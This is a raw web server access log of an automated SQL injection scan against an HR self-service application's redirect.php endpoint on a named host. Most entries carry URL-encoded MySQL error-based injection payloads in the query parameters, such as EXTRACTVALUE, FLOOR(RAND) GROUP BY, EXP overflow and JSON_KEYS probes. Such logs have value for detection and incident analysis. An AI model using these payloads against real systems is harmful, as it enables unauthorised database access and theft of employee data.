100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x64364e47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35794178%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x64364e47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35794178%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6a596a7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6770784a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x654f504b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f51686d%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x64454f76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x484e4862%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x456a6f4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c595761%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x5564454f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d683979%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x64364e47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35794178%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x784f7457%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a426c54%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x784f7457%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a426c54%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c44584c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37334b79%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c44584c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37334b79%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x704d524f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55314833%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x704d524f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55314833%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x71564d63%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77596e54%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x71564d63%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77596e54%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x784f7457%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a426c54%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x306f6a61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66323973%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x306f6a61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66323973%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c44584c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37334b79%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x45444956%2C%28NULL%29%2C0x6c567746%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x45444956%2C%28NULL%29%2C0x6c567746%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x704d524f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55314833%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess HTTP/1.1" 301 249
